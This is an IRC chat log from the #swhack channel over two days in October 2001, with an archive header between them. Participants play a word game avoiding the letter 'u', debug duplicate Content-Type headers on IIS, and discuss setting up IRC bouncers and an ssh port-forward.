Mac? I can't really help ya there 00:13:06 <Morbus> oh, i chortle with belly aching anxiety over the predicament we have entwined each other in 00:13:14 <Morbus> indeed, i am. 00:14:29 <sbp> I am also engaging to certain degree in the intoxicating giggling that sir has mentioned 00:15:07 <Morbus> heheh. this conversation sincerely needs framing in a snobbish gallery 00:15:17 <sbp> I wonder if master Aaron will catch on to the foolish thing that we are doing? 00:16:05 <sbp> yes, I think it does. It's easier talking snobbishly when ya can't say that character however, so perhaps snobs don't know of that char? 00:16:07 <Morbus> and perchance entertain his fancy at this sortee of mental restraint 00:16:55 <sbp> * sbp places a piece of tacky material on the key that is the object of the chat, in order that he not inadvertantly type it 00:17:09 <Morbus> perhaps indeed, since the shape of the dastardly bit is an anchor which their nose can be held yonder with 00:17:19 <sbp> yes, that'd indeed be a fine mental excercise to engage him in 00:17:35 <sbp> what the feckle is thee talking of now? 00:18:09 <Morbus> * Morbus carries on a conversation with someone else, with the damned letter ewe, in an attempt to stress his dendrites to their max. 00:18:19 <deltab> remove the mapping of the key 00:18:30 <Morbus> ah! a new player! 00:18:53 <sbp> how does one do that, deltab? 00:19:06 <deltab> what OS? 00:19:08 <patti> patti has joined #swhack 00:19:09 <sbp> yes, a new player! I'll bet that he doesn't stay for all that long... 00:19:15 <sbp> OS: WinMe 00:19:16 <Morbus> welcome, patti. 00:19:18 <sbp> Hi Patti 00:19:26 <Morbus> an entrancer i have invited to our delectable entertainment. 00:19:35 <Morbus> ack! 00:19:46 <deltab> heh 00:19:50 <patti> * patti giggles. 00:19:52 <sbp> yea, we are veritably filling with people on which to project this foolish game 00:20:15 <Morbus> damn that patti! she has absconded my win and allowed my opponents victory! 00:20:40 <Morbus> i shall now try harder. choose another letter, participants! 00:20:56 <Morbus> i shall attempt two letters, in a name that song sort of onedownmanship 00:20:59 <sbp> forsooth, mine self cannot percieve how this is so. can sir elaborate 'pon sir's exclamation? 00:21:29 <sbp> * sbp wonders if the apostrophe's are cheating... I think that it's O.K. if they're well known abbreviations 00:21:36 <sbp> s/'// 00:21:53 <sbp> another letter... Hmm... 00:22:03 <Morbus> ah, but apostraphe's would be innane if 'sed in s'ch obsc're constr'cts 00:22:10 <sbp> a consonant this time, perhaps? 00:22:14 <Morbus> as my meaning becomes clear. 00:22:31 <Morbus> nay, i am not a stargazer! heathen! ;) 00:22:56 <Morbus> a consonant shall prove a worthy challenge 00:23:29 <sbp> yes; however, one can easily verify if abbreviages are valid by researching the abbreviation in a dictionary, perhaps? or a book of poetry 00:23:45 <sbp> what consonant doth sir wish to choose? or do I have that choice? 00:23:50 <patti> a book of poetry! all words become abbreviated there! 00:24:14 <Morbus> the mightiest sbp has said choice. 00:24:30 <Morbus> indeed, poetry instills iambic joy within my being 00:24:39 <sbp> yeah, that's a good point. However, a well-known book of poetry with less abbreviations may be of benefit to the game? 00:25:01 <sbp> don't talk to me of iambic joy... damn iambic deeleys 00:25:13 <patti> what common reference can be discovered? 00:25:19 <Morbus> i had a crossword mindgame book that solved the grids of empty boxes for the pencil holder 00:25:44 <sbp> ah, I can still say "deeleys". And Homer? Yes! Homer J. Simpson. Ah great, the letter that we are avioding is no terrible drawback to me 00:26:15 <sbp> common reference: I have no idea whatsoever. We may start to wish that we had planned this game ahead a little better 00:26:25 <Morbus> sean, patti needs to know, is a simpson fan of masterful caliber 00:26:44 <Morbus> ah, planning for a game destroys the spontaniety 00:26:49 <sbp> pardon me? 00:27:13 <sbp> planning: yes, I totally agree. We'll ban apostrophes and be done with it 00:27:16 <Morbus> doth stink, patti! how dare! 00:27:31 <patti> and apostrophes in normal dictionary-like abbreviations? 00:27:48 <sbp> they too shall be forbidden by consensed law 00:27:52 <Morbus> ban non alphabetic bits in general and intention becomes weird. 00:28:10 <Morbus> this reminds me of a game entitled nomic 00:28:14 <Morbus> anyone heard of it 00:28:21 <deltab> yes 00:28:24 <patti> i object to lack of apostrophes 00:28:24 <sbp> nope. pointer? 00:28:32 <Morbus> deltab, that does not shock me 00:28:38 <Morbus> have you played 00:28:52 <Morbus> the creator of the game is an amphetadesk enjoyer :) 00:28:52 <sbp> * sbp goes searching for some songs 00:29:06 <sbp> and plays at the same time... I'm like that, y'see 00:29:11 <sbp> ooh, an apostrophe! 00:29:18 <Morbus> http://www.earlham.edu/~peters/nomic.htm 00:29:49 <Morbus> and comma and exclamation 00:29:49 <sbp> aaaaaaah! thee has employed the forbidden character in thine evil Web address 00:30:02 <deltab> morby: oi, no: http://159.28.1.1/~peters/nomic.htm 00:30:24 <Morbus> but one can't enforce the metrics of a game on a nonpresent player 00:30:27 <sbp> yes, deltab gets into the spirit of it, and morby receives a -1 00:30:33 <Morbus> hehe 00:31:02 <sbp> ah, however, sir is the player, and sir may choose the Web address 00:31:37 <Morbus> indeed, how did deltab find the ip? perhaps with a lookup command? or a tracing of the hops? 00:31:42 <patti> might have mirrored the page on own site 00:31:59 <Morbus> sigh. i am horrific at this 00:32:15 <Morbus> i think patti is bad mojo. 00:32:25 <Morbus> she stared my descent 00:32:28 <Morbus> started rather 00:32:28 <sbp> lol, yeah, probably 00:32:30 <patti> * patti is _good_ mojo. 00:32:43 <patti> well, i stared at something... 00:32:49 <sbp> Mr. Mojo Risin' 00:33:10 <Morbus> patti is trying to convince herself of worthiness 00:33:10 <Morbus> and what did patti stare at? 00:33:26 <Morbus> Morbus is now known as Morby 00:33:33 <Morby> i have been cheating this entire time! 00:33:42 <Morby> Morby is now known as Morbii 00:33:49 <patti> morby loses since the character is in his nick. 00:33:51 <sbp> I'm starting to wonder what y'all talking... yes! Oh man, I mised that abomination 00:34:17 <Morbii> then we are all to blame as the playing field was not valid 00:34:19 <sbp> dear oh dear... talk of smegging the game from the very beginning! 00:34:24 <Morbii> points reset to 0. :) 00:34:34 <sbp> are there two of ya now, then? 00:34:39 <Morbii> indeed. 00:34:57 <Morbii> that which thinks with the brain, and that which moves with the hips 00:35:15 <patti> :1 00:35:18 <deltab> why? he didn't say the letter 00:35:29 <patti> wrong window, oops 00:35:34 <Morbii> she's offended wi... ha! 00:35:52 <Morbii> patti must get someone else in here within five microns, or else she loses. 00:36:14 <sbp> yes, I'd back Morbii's assertion 00:36:24 <Morbii> the metrics become more twisted 00:36:25 <sbp> I'm listening to Black Waterside, BTW... 00:36:31 <patti> argh! 00:36:37 <sbp> what extra character are we going to remove? 00:36:41 <Morbii> i'm listening to boss hog. 00:36:50 <Morbii> randomization of my delights 00:37:23 <Morbii> perhaps the letter g? 00:37:53 <Morbii> perhaps pattis' new entrant will be at a mistrained disadvantaged however 00:38:29 <sbp> hooray: the IANA have fixed an important file that I advised them was broken 00:38:39 <sbp> get away from here! 00:38:51 <deltab> which file? 00:39:21 <sbp> well, I'm not even knowledgable as to whom patti is, or is meant to be brining to this circle of delights yet, so I can't really comment on that, can I? 00:39:38 <Morbii> patti's microts are slowly dissipating 00:39:40 <sbp> the file contains a forbidden character, and hence shall not be displayed here 00:39:49 <Morbii> she better slam the pedal to the metal. 00:39:57 <sbp> ah, however, I may be able to hack it... hang on a sec 00:40:01 <Morbii> it may be encoded? 00:40:11 <Morbii> ascii bit? 00:40:17 <sbp> that is what I am thinking 00:40:21 <patti> * patti is hopeless. 00:40:49 <Morbii> patti is on the verge of being eliminated. or severely tickled. 00:40:58 <patti> * patti giggles in anticipation. 00:41:04 <sbp> me is now wondering where on earth to get the damn character encoding from 00:41:24 <Morbii> patti shall not giggle in the face of the greatest game made in 300 seconds! 00:41:30 <Morbii> i shall search. 00:41:31 <patti> perhaps s/%/<bad char>/ 00:41:45 <patti> need to shower soon anyhow. bye! 00:41:55 <sbp> that is acceptable. c'ya 00:42:01 <Morbii> \x55 00:42:11 <patti> patti has left #swhack 00:42:13 <Morbii> sho\x55ld work :) 00:42:31 <deltab> or 75, even better :-) 00:42:45 <Morbii> 75? not 85? 00:42:53 <deltab> deltab has quit 00:42:58 <deltab> deltab has joined #swhack 00:43:09 <Morbii> my chart shows 75 as K. 00:43:26 <sbp> I think that it is indeed 75 00:43:36 <Morbii> my chart lies! 00:43:41 <Morbii> damn this bbedit application! 00:43:55 <sbp> however, the page does not seem to be responding to my HTTP GET 00:44:21 <sbp> the page has smegged on the weight of the encoded character. damnit 00:44:31 <Morbii> its in the back of my perl book, it's so far away however 00:44:37 <Morbii> lol 00:44:38 <sbp> still: http://www.iana.org/assignments/%75ri-schemes 00:44:49 <deltab> oops, wrong key 00:44:53 <deltab> hex 00:45:09 <sbp> pardon me? 00:45:15 <Morbii> i am bringing a new player! 00:45:15 <sbp> ah... 00:45:22 <sbp> go for it, Morby! 00:45:26 <Morbii> he is not knowing why however 00:45:41 <Morbii> heh. he is perplexed 00:45:42 <sbp> heh, heh: all the better! bring him in... 00:45:58 <Morbii> skeptical. 00:46:00 <Morbii> worried. 00:46:06 <Morbii> he denies me! 00:46:14 <Morbii> we shall move the game to him! 00:46:20 <sbp> aw man, that's a shame! fine 00:59:46 <AaronSw> A song popped into my head fully formed: Oh can't you see / the question's got a hold of me / and don't you know / the answer's the only thing that'll let me go! / [electic guitar solo] / repeat chorus / my thoughts are bursting / they want to explode / my mind is thirsting / my brain is gonna implode / chorus / etc. 00:59:54 <Morbii> AARON! 01:00:05 <AaronSw> * AaronSw disappears in a puff of smoke 01:00:05 <Morbii> YOU HAVE SPOKEN THE FORBIDDEN CHARACTER! 01:00:39 <sbp> Aaron! Oh, dear oh dear 01:00:43 <deltab> the game has moved to #evolt, hasn't it? 01:00:52 <Morbii> the game is everywhere, my friend. 01:01:03 <deltab> pshaw 01:01:14 <sbp> I am very disappointed with ya... that's really terrible to have emplyed the forbidden character so many times in one thread 01:01:28 <Morbii> i think he's ignoring the banter 01:01:34 <Morbii> probably on holiday 01:01:41 <sbp> yes, the game is exiversal, and shall go on for as long as we see fit 01:01:46 <sbp> holiday: not another one! 01:01:56 <Morbii> heh. i don't know. i joke. 01:02:27 <sbp> I know, 'twas excellent and installed a particilar gigglyness in my belly 01:02:43 <sbp> particilar? heh, that was weird 01:02:49 <Morbii> did it move like a homeric tidal wave? 01:03:02 <Morbii> was that the intention? that mispelling? 01:03:09 <sbp> it was not a veritable homeric tidal wave, close, however 01:03:29 <sbp> that was not an intention, and yet it was great chance indeed that it happened! 01:03:40 <sbp> for I may have had to lose a point 01:03:41 <Morbii> nice. inreferences everywhere. homer of illiad, and homer of simpsons. 01:03:55 <Morbii> and that would be a not so nice fallacy 01:03:58 <sbp> yes, the Homer's of all time are indeed magnificent in their ways 01:04:06 <sbp> in other words, they rock. I can say that 01:04:16 <Morbii> i can say it too. shall i? 01:05:00 <sbp> please do 01:05:17 <Morbii> they rock. 01:09:15 <sbp> <sbp> Ah, a forbidden character replacement: LJ 01:14:15 <sbp> heh 01:18:29 <sbp> <sbp> ah, the dodo. A delecatble frenzy of effervecent joy indeed! IT doth beshine itself into the memory of all who gaze on its wonder and glory, for it is an excellent bird indeed! What idiot killed it off? 01:18:53 <sbp> ah, indeed, indeed... 01:19:51 <sbp> Morbii doth chortle at the above phrase, and especially the "effervescent joy" aspect of it 01:22:44 <sbp> <sbp> and for what veritable alms-basket of wonderment did I earn this cavalcade of point giving? 01:22:59 <sbp> this channel is missing a great extension of this game! 01:23:05 <Morbii> lol 01:23:15 <Morbii> logging beckons sbp, eh? 01:23:58 <sbp> it does indeed. I am logging the channel, and will paste it into somewhere when no one's looking, or able to yell at me 01:24:28 <Morbii> it is with sad disdain that i have to hang my player mitts. 01:24:40 <Morbii> my time has depleted 01:26:05 <sbp> ah, that is indeed a terrible shame, and I bow before the prime player, the person who created the tantalising whirlpool of merriment that was inspired by late night deleria 01:26:19 <sbp> what are we calling this game? 01:26:51 <Morbii> x75 01:26:55 <deltab> dunno, but I know what to call the xmas version 01:26:56 <Morbii> ;) 01:27:03 <Morbii> the xmas version? 01:27:06 <Morbii> do tell. 01:27:20 <sbp> yes, please do 01:29:36 <deltab> simply avoid the twelfth letter 01:30:08 <sbp> I am also befeggled, and fear that I may soon have to postpone involvment in this neat little envelope of whimsy 01:30:51 <sbp> * sbp re-writes his dodo comment first 01:30:53 <Morbii> welp, i shall see everyone soon, for more boredom-spawned ecstacy. 01:31:26 <sbp> excellent! I shall label the seconds 'till thine arriveth back in this playing area 01:31:33 <Morbii> :) 01:31:33 <sbp> areana! that's the word I was looking for 01:31:52 <Morbii> actually, now that i'm outta the game, do you ever remember those old aol games that used to be played? 01:32:03 <Morbii> the chat room ones, hangman, trivia, that sort of thing? 01:32:28 <sbp> nope 01:32:31 <Morbii> i always enjoyed playing them, but never really seen them on irc. 01:32:34 <sbp> "ah, the dodo. A delecatble frenzy of effervecent joy indeed! It doth beshine itself into the memory of all who gaze on its wonder and glory, for it is an excellent bird! What idiot killed it off?" 01:32:38 <Morbii> i dunno. perhaps irc is too 'reet for them. 01:32:45 <sbp> yeah, that's a possiblity 01:32:55 <Morbii> well, poo, on irc ;) 01:32:56 <sbp> Aaron and I played "Go" a few times 01:33:07 <Morbii> go? the chinese game? through irc? 01:33:26 <sbp> no, thro*gh the other thing... Java 01:33:31 <Morbii> oh. ok. 01:33:55 <sbp> yeah... IRC wo*ld have been easier! Java kept crashing... 01:34:01 <Morbii> heh... 01:34:07 <Morbii> anyways, see ya later. 01:34:08 <Morbii> Morbii has quit 01:35:17 <sbp> Gotta engage myself in a forwards motion, moving with swift steps 01:38:18 <sbp> sbp has quit 13:38:53 <sbp> sbp has joined #swhack 13:39:40 <sbp> sbp has changed the topic to: #swhack: the arena for that strange game: x75 13:42:00 <sbp> Gotta engage myself in a forwards motion, moving with swift steps 13:42:03 <sbp> sbp has quit 16:19:57 <sbp> sbp has joined #swhack 18:36:12 <sbp> sbp has quit 19:07:48 <sbp> sbp has joined #swhack 19:10:36 <Morbus> Morbus has joined #swhack 19:12:19 <sbp> sbp has quit 19:19:21 <Morbus> Morbus has left #swhack 19:22:05 <sbp> sbp has joined #swhack 19:37:43 <sbp> sbp has quit 20:23:54 <sbp> sbp has joined #swhack 20:33:16 <sbp> sbp has quit 21:24:59 <sbp> sbp has joined #swhack 21:25:32 <sbp> * sbp wonders where Aaron is 21:26:24 <sbp> * sbp ah, Saturday... 21:26:52 <sbp> AG isn't connecting... 21:29:56 <sbp> sbp has quit 21:37:18 <sbp> sbp has joined #swhack 22:05:03 <sbp> sbp has quit 23:12:49 <sbp> sbp has joined #swhack 23:14:59 <sbp> sbp has quit 23:28:28 <sbp> sbp has joined #swhack 23:30:45 <sbp> sbp has quit 23:31:54 <sbp> sbp has joined #swhack 23:54:41 <SeanP> SeanP has joined #swhack 23:55:08 <SeanP> SeanP has quit 23:56:03 <AaronSw> hello 23:56:40 <sbp> Hi Aaron 23:56:57 <sbp> Have ya been able to review the craziness that went on last night? 23:57:52 <AaronSw> just about to 23:58:13 <AaronSw> Since there seems to be some confusion, i was away for Shabbat, as I always am on Saturday. 23:58:16 <sbp> hey! get that character away from here... 23:58:31 <sbp> aaaaaargh! at least escape them! 23:58:47 <sbp> yes, I realized that after some thinking... 23:59:21 <AaronSw> It's really hard to understand what went on 23:59:22 <sbp> review the logs! Some cool things in there 23:59:26 <AaronSw> It's like gibberish. 23:59:36 <sbp> start from the top 23:59:53 <sbp> http://blogspace.com/swhack/chatlogs/2001-10-13.txt ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-14.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000203035�07362422554�012010� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:18 <AaronSw> Oh, are we still playing _that_ game. 00:00:30 <sbp> yes 00:00:32 <AaronSw> it took me a bit to find the character of dread 00:00:45 <sbp> ah, the forbidden ewe... yes 00:00:51 <sbp> brb 00:02:56 <sbp> we ticked each other's giggly bones for a long period 00:03:54 <sbp> my "dodo" comment was probably the best bit... man, that was chortle-inspiring 00:04:08 <AaronSw> heheh, i will keep on with my looking 00:04:26 <sbp> yes, or reviewing, perhaps? 00:05:27 <AaronSw> indeed 00:09:40 <AaronSw> Heheh, this game is has much hilarity! 00:11:37 <AaronSw> Aha, you cannot say the name of the identifier of choice! 00:16:41 <AaronSw> my reviewing is finished 00:17:01 <AaronSw> however, a paste of log was sorely lacking 00:18:15 <AaronSw> sbp? 00:20:35 <sbp> aaaaargh:- 00:20:36 <sbp> Content-type: text/html 00:20:40 <sbp> Content-Type: application/octet-stream 00:20:42 <AaronSw> from where? 00:20:46 <AaronSw> how odd 00:20:47 <sbp> in the same header! from one of my pages 00:21:01 <AaronSw> aaah! 00:23:01 <sbp> yes... I'm trying to work on serving pages sans file extension as text/html 00:23:13 <AaronSw> Oh. 00:23:19 <AaronSw> Capitalize the T in Type, please 00:27:17 <sbp> well, it doesn't matter anyway: I can't serve a file with two MIME types... 00:28:39 <AaronSw> Ooh, new Invader Zim 00:29:51 <sbp> Content-Type: text/html 00:29:55 <sbp> Content-Type: application/octet-stream 00:30:02 <sbp> didn't work... 00:30:04 <AaronSw> Heh 00:30:32 <sbp> * sbp wonders how many browsers barf on that, and which val. is taken 00:32:12 <deltab> links displays the first one but uses the second 00:32:35 <sbp> pardon? 00:32:55 <sbp> it even warns me of it: D\x75plicate header Content-Type 00:33:00 <AaronSw> UTF-8 RSS stress test: http://home.no.net/huftis/kritikk/stress.xml 00:33:15 <AaronSw> * AaronSw apologizes 00:33:22 <sbp> grrrrr 00:34:21 <AaronSw> sorry, still i needed it for later grepping and retrieval 00:34:30 <AaronSw> else i'd have forgotten 00:34:38 <sbp> fine 00:34:47 <deltab> when I enter that, I get asked what to do with an application/octet-stream; however, when I enter header display commands I only see the first 00:35:01 <deltab> i.e. text/html 00:35:07 <sbp> Hmm... that's pretty weird 00:35:35 <sbp> still, I can't really employ that method if people find it broken 00:35:59 <deltab> oops, there were other headers in between; both appear 00:36:08 <sbp> ah 00:36:34 <sbp> well, IE6 takes the former Content-Type, for some reason 00:36:47 <sbp> * sbp tries Mozilla 00:37:20 <sbp> Mozilla takes it as an octet stream 00:38:06 <sbp> shame is, IIS won't let one associate a MIME type with files of no extension 00:38:11 <deltab> certain of that? IE tends to ignore Content-Type, preferring its own method 00:38:31 <sbp> yeah, that's what it did! 00:38:48 <sbp> it sniffs HTML... 00:39:26 <sbp> so the latter is almost certainly the recommended val... now if only it'd append the new Content-Type header, eh? 00:39:46 <sbp> rather than shoving it in at the top... 00:40:17 <sbp> ASP lets one send a file as any MIME type properly... however, ASP files req. a .asp extension! 00:40:47 <sbp> what an arse 00:41:12 <sbp> and there's not even Apache style extension hacking, or .htaccess to play with 00:43:37 <sbp> Heh: it might be possible to set the 404 error page to redirect 2 a .html file 00:43:41 <AaronSw> whee! only 206 messages left after first pass 00:44:27 <sbp> Hmm... that's a good idea... I'm gonna try it 00:44:52 <AaronSw> or ya might switch to a _real_ webserver ;) 00:53:19 <AaronSw> JWZ on T-Shirts: "I really like the DNA Lounge logo, don't you? I'll make you a deal: you pay us, and we'll let you advertise for us. How does that sound?" 00:53:34 <AaronSw> i'm safe becuz it's in "s 00:53:47 <sbp> hey! 00:54:13 <sbp> s/\x75/\\x75 00:54:22 <AaronSw> Heheh 00:54:23 <sbp> the 404 redirect didn't work 00:54:33 <AaronSw> i'm tired of this game 00:56:21 <AaronSw> it's exha_sting 00:57:13 <sbp> aha! I've got something working! yay! 00:59:23 <sbp> s/working/nearly working 01:00:44 <sbp> heh, heh: got it 01:01:03 <AaronSw> the redirect deeley? 01:01:25 <sbp> it's a weird way of doing it... 01:01:32 <sbp> it's not redirecting, it's server side proper now 01:01:53 <sbp> I get it to map the 404 error to an absol. *RI on the server 01:02:10 <sbp> then, I take the q*ery string passed to it, and feck abo*t with it a bit 01:02:15 <sbp> and then it seems to work 01:22:09 <sbp> the problem is, I want to *se this as an persistence mechanism, and yet it's s*ch a fragile system 01:22:36 <sbp> * sbp is doing m*ch * cheating 01:23:33 <sbp> * sbp grows weary of the game too 01:23:52 <sbp> Dare I utter the forbidden character? 01:24:01 <sbp> oh, I just did 01:24:04 <deltab> yes 01:26:19 <sbp> ugh, "u" has such understated futility, I wunder if it's wurth using it again? utterly unsane 01:26:38 <sbp> undies! I can say undies again! 01:26:46 <sbp> ah, wonderful 01:27:00 <AaronSw> I'd be more for getting rid of c -- you can repace it with k or s 01:28:04 <sbp> yeah, I'd go for that 01:28:11 <sbp> what's the escape for it? 01:28:22 <AaronSw> see 01:28:49 <sbp> oops 01:28:50 <AaronSw> hmm, what about schair? 01:28:58 <AaronSw> oops 01:29:01 <AaronSw> I meant shair 01:29:05 <sbp> I meant, what's the eskape for it? 01:29:18 <sbp> no! you meant tyair 01:29:35 <sbp> or tyeah! 01:29:39 <AaronSw> that's pretty awful 01:29:44 <sbp> 'tis 01:30:32 <sbp> what about "x"? 01:30:53 <AaronSw> lol @ http://rdfweb.org/people/danbri/2001/04/sw-context 01:30:58 <AaronSw> xhair? 01:31:08 <AaronSw> oops, i meant lol @ <chaals> but == bit in en-NZ 01:31:11 <sbp> no I mean, using the letter x in our funny little game 01:31:20 <sbp> heh, heh 01:31:26 <AaronSw> it's a fine letter 01:31:35 <sbp> yes, it is a fine letter 01:31:43 <sbp> but is it a fine letter to use in the game? 01:32:03 <sbp> is it? it is! is "it"? dunno 01:33:05 <sbp> we'd have problems discussing xylophone techniques 01:33:26 <deltab> but not tshairs 01:33:39 <deltab> hmm, XML et al. 01:33:42 <sbp> we could use both 01:33:56 <sbp> XML? We don't talk about that here! 01:34:41 <sbp> or any of the others alluded to with your "et al." 01:35:45 <deltab> yes you do 01:36:06 <sbp> no we don't 01:36:15 <deltab> 193903Z <sbp:#swhack> dc:title "XHTMLTM 1.0: The Extensible HyperText Markup Language 01:36:27 <sbp> ah, that was an isolated case 01:36:33 <deltab> *three* Xes there 01:36:42 <AaronSw> lol 01:36:45 <sbp> but I was quoting 01:38:00 <deltab> 233626Z * >sbp #swhack goes on a little "don't embed XML RDF into XHTML!" spree, on w-v 01:38:08 <deltab> quoting there too, I see :-) 01:38:33 <sbp> yes. As I usually say, "I'm always quoting someone or other" 01:38:37 <sbp> Homer: Come on kids, let's go home 01:38:40 <sbp> Bart: We are home! 01:38:44 <sbp> Homer: That was quick 01:38:54 <AaronSw> lol 01:39:37 <deltab> file extensions 01:39:58 <sbp> file stentions? what about them? 01:40:14 <sbp> O.K., you got me there 01:40:34 <AaronSw> So deltab, how do I get a custom IRC vhost? 01:41:12 <sbp> Gotta run 01:41:15 <sbp> sbp has quit 01:41:18 <AaronSw> bye 01:41:21 <deltab> need to write to XO :-( 01:42:02 <AaronSw> Hmm... I've got a class C block floating around somewhere... wonder if I could use that 01:42:19 <AaronSw> so let's say I get the rDNS working -- how do I IRC out of it? 01:42:35 <deltab> oh, just tell your irc program to use it 01:43:21 <AaronSw> Huh? 01:43:43 <AaronSw> wouldn't that require my machine's network card was bound to that IP? 01:43:48 <sbp> sbp has joined #swhack 01:44:03 <AaronSw> wb 01:44:06 <sbp> oops, I meant:- 01:44:08 <sbp> Homer: That was fast 01:44:10 <sbp> tsk, tsk 01:44:12 <sbp> Homer: Wellity, wellity, wellity 01:44:16 <deltab> AaronSw: yes 01:44:16 <sbp> ty 01:44:18 <sbp> c'ya 01:44:18 <sbp> sbp has quit 01:44:31 <AaronSw> that was fast ;) 01:44:52 <AaronSw> deltab, so what if it isn't? can I ssh tunnel or something? 01:45:27 <deltab> uh, you need to be able to open a connection from the IP address 01:45:52 <deltab> so it does need to be bound to an interface 01:46:08 <AaronSw> I know, but can I bind it to an interface on some other machine 01:46:15 <deltab> yes 01:46:19 <AaronSw> and then ssh tunnel to that machine... does ssh go out of the same interface it comes in on? 01:46:30 <deltab> yes... 01:46:53 <AaronSw> ah, that's cool 01:47:00 <deltab> not sure what you mean about a tunnel 01:47:22 <deltab> I'm accessing my irc client through ssh 01:47:29 <AaronSw> ssh -L 6667:irc.openprojects.net aswartz@foo.bar.com 01:47:48 <deltab> hmm 01:48:16 <AaronSw> Yeah, can't really run the client via ssh on my mac 01:48:42 <deltab> ah, then you need an irc bouncer 01:48:54 <AaronSw> what's that do? 01:49:06 <deltab> bounces irc :-) 01:49:22 <AaronSw> Ooh, will that hold a connection open for me and let me connect into it from various places? 01:49:37 <deltab> irc client <--> bouncer <--> server 01:49:38 <AaronSw> will it load backlog into my IRC client? 01:49:44 <deltab> can do 01:49:53 <AaronSw> That's awesome! Where can I get one of those? 01:50:00 <AaronSw> I've always wanted that. 01:50:01 <deltab> blazingfast.net :-) 01:50:22 <AaronSw> oh, come on, we're friends <nudge> <nudge> 01:50:36 <deltab> seriously 01:50:50 <deltab> run muh 01:52:48 <deltab> you'll need to modify a copy of muhrc 01:53:02 <AaronSw> * AaronSw tries to think of where to install it... 01:53:25 <deltab> ? 01:53:31 <deltab> I've already installed it 01:53:43 <deltab> you just need to configure and run it 01:53:59 <AaronSw> Oh, just off of espnow.com, then 02:01:58 <AaronSw> Hmm, so how do I connect to this? 02:02:28 <Aaron> Aaron has joined #swhack 02:02:38 <deltab> hehe 02:03:02 <Aaron> How do I access channels on another server? 02:03:24 <deltab> run another muh 02:03:56 <Aaron> ahh... and just copy my muhrc? 02:04:38 <deltab> yes - you need another dir for it 02:05:07 <deltab> muh -d ~/muh/opn 02:05:11 <deltab> something like that 02:05:34 <Aaron> Aaron has quit 02:06:09 <sbp> sbp has joined #swhack 02:06:16 <AaronSw> Hmm, it only logs private messages, doesn't it? 02:07:18 <deltab> um 02:07:33 <AaronSw> I mean those that aren't sent to a channel 02:08:12 <deltab> yeah, I understood 02:08:25 <deltab> do you have logging = true? 02:08:29 <AaronSw> yep 02:08:37 <AaronSw> err, no -- just the default 02:08:53 <deltab> default is false 02:08:56 <AaronSw> * (default true) 02:09:01 <deltab> ? 02:09:10 <deltab> ohh 02:09:13 <deltab> oops 02:09:46 <sbp> sbp has changed the topic to: #swhack: home of the tired and pissed off SBP 02:09:59 <AaronSw> what's POed you, sbp? 02:10:09 <deltab> this is your home? 02:10:24 <sbp> there's a Grand Prix on tonight! I almost forget, could you believe 02:10:38 <sbp> and now I've got to stay up to watch it... I had wanted to go to bed early 02:10:58 <deltab> haha, crazy GP watcher 02:13:03 <sbp> detlab, you're here too thought, aren't you? seems like you're staying up to watch it too :-) 02:13:15 <Aaron> Aaron has joined #swhack 02:13:28 <AaronSw> hi aaron 02:13:31 <Aaron> Hi there 02:13:36 <AaronSw> Nice to meet you. 02:13:40 <Aaron> Same here. 02:13:44 <Aaron> I have to step out for a bit, do you mind? 02:13:47 <AaronSw> Not at all 02:13:51 <Aaron> Okedoke -- see you soon. 02:13:56 <Aaron> * Aaron is leaving... 02:14:13 <Aaron> * Aaron is leaving... 02:14:25 <AaronSw> * AaronSw says secret evil stuff in the meantime 02:14:26 <AaronSw> mwahaha 02:14:34 <deltab> haha 02:14:36 <Aaron> Hello again 02:14:45 <Aaron> Hmm, it did not log that stuff. 02:14:55 <AaronSw> What stuff? 02:14:59 <Aaron> The secret evil stuff. 02:15:04 <deltab> no, I guess it can't 02:15:04 <AaronSw> I have no idea what you're talking about. 02:15:09 <sbp> he knows what stuff... 02:15:10 <Aaron> Never mind. 02:15:20 <AaronSw> deltab, do you know of anything that does? 02:15:54 <deltab> I think greaper's setting up something more advanced, which might 02:16:10 <deltab> or you could run a client 02:16:22 <AaronSw> I'm imagining something which, when I connect, spews out all the stuff I've missed into my client. 02:16:31 <AaronSw> so I can then scroll up and read it. 02:16:31 <deltab> * deltab nods 02:17:00 <sbp> ooh: mewtwo.espnow.com 02:17:34 <Aaron> * Aaron waves from the ESP empire ;) 02:18:26 <AaronSw> hmm, ezbounce seems to support it: 02:18:35 <AaronSw> "Logging private and channel messages while detached" 02:19:13 <AaronSw> http://www.google.com/search?q=cache:druglord.freelsd.org/ezbounce/ 02:19:35 <AaronSw> but their host went bankrupt :( 02:20:10 <deltab> due to the war on drugs? :-) 02:20:24 <AaronSw> heheh 02:22:44 <AaronSw> Hmm, ezbounce looks much more difficult to use 02:23:25 <AaronSw> and it seems to log only to files... 02:24:06 <AaronSw> it can dcc them to you, tho 02:24:30 <Aaron> Aaron has left #swhack 02:27:36 <AaronSw> any ideas, deltab? 02:28:22 <AaronSw> Ahh, cool! dircproxy looks like ti does it 02:28:29 <AaronSw> Log text recalled to your client is sent so your client sees 02:28:29 <AaronSw> it as ordinary IRC text. 02:28:32 <AaronSw> </quote> 02:30:27 <AaronSw> want to install it for me deltab? 02:32:58 <AaronSw> sbp probably wonders wtf we're talking about ;) 02:33:08 <sbp> sbp is keeping himself busy 02:33:22 <AaronSw> ahh, good 02:35:04 <sbp> you're installing some weird IRC contraption under the aegis of ESP 02:35:14 <sbp> I could not care less, unfortunately 02:35:33 <sbp> I'm researching stuff and getting songs 02:35:49 <sbp> [smiley after the last but one line] 02:36:09 <AaronSw> it's a very cool IRC contraption 02:36:19 <AaronSw> it logs for me while i'm disconnected and spits it out when i rejoin 02:36:49 <sbp> that's quite boring when you consider the crap that I have to go through to connect and so forth 02:37:21 <sbp> [insert another smiley] 02:37:38 <AaronSw> * AaronSw doesn't follow 02:38:04 <sbp> it took half an hour for me to connect to the Internet once, and I was on it... well not as long as it took me to connect 02:38:49 <AaronSw> Ah. 02:38:58 <sbp> "small gaps in IRC conversation" is not high on my list of foibles :-) 02:39:21 <AaronSw> not, small gaps -- like overnight or something... it's better than scrounging thru logs 02:40:56 <sbp> I fail to see how it makes much of a difference 02:41:22 <sbp> and overnight to me is a small gap :-) 02:41:45 <AaronSw> :-) 02:46:58 <AaronSw> LOL, one configuration option is "I don't like logos, I'm boring, I eat llamas." 02:47:18 <AaronSw> "Only the picky would turn this 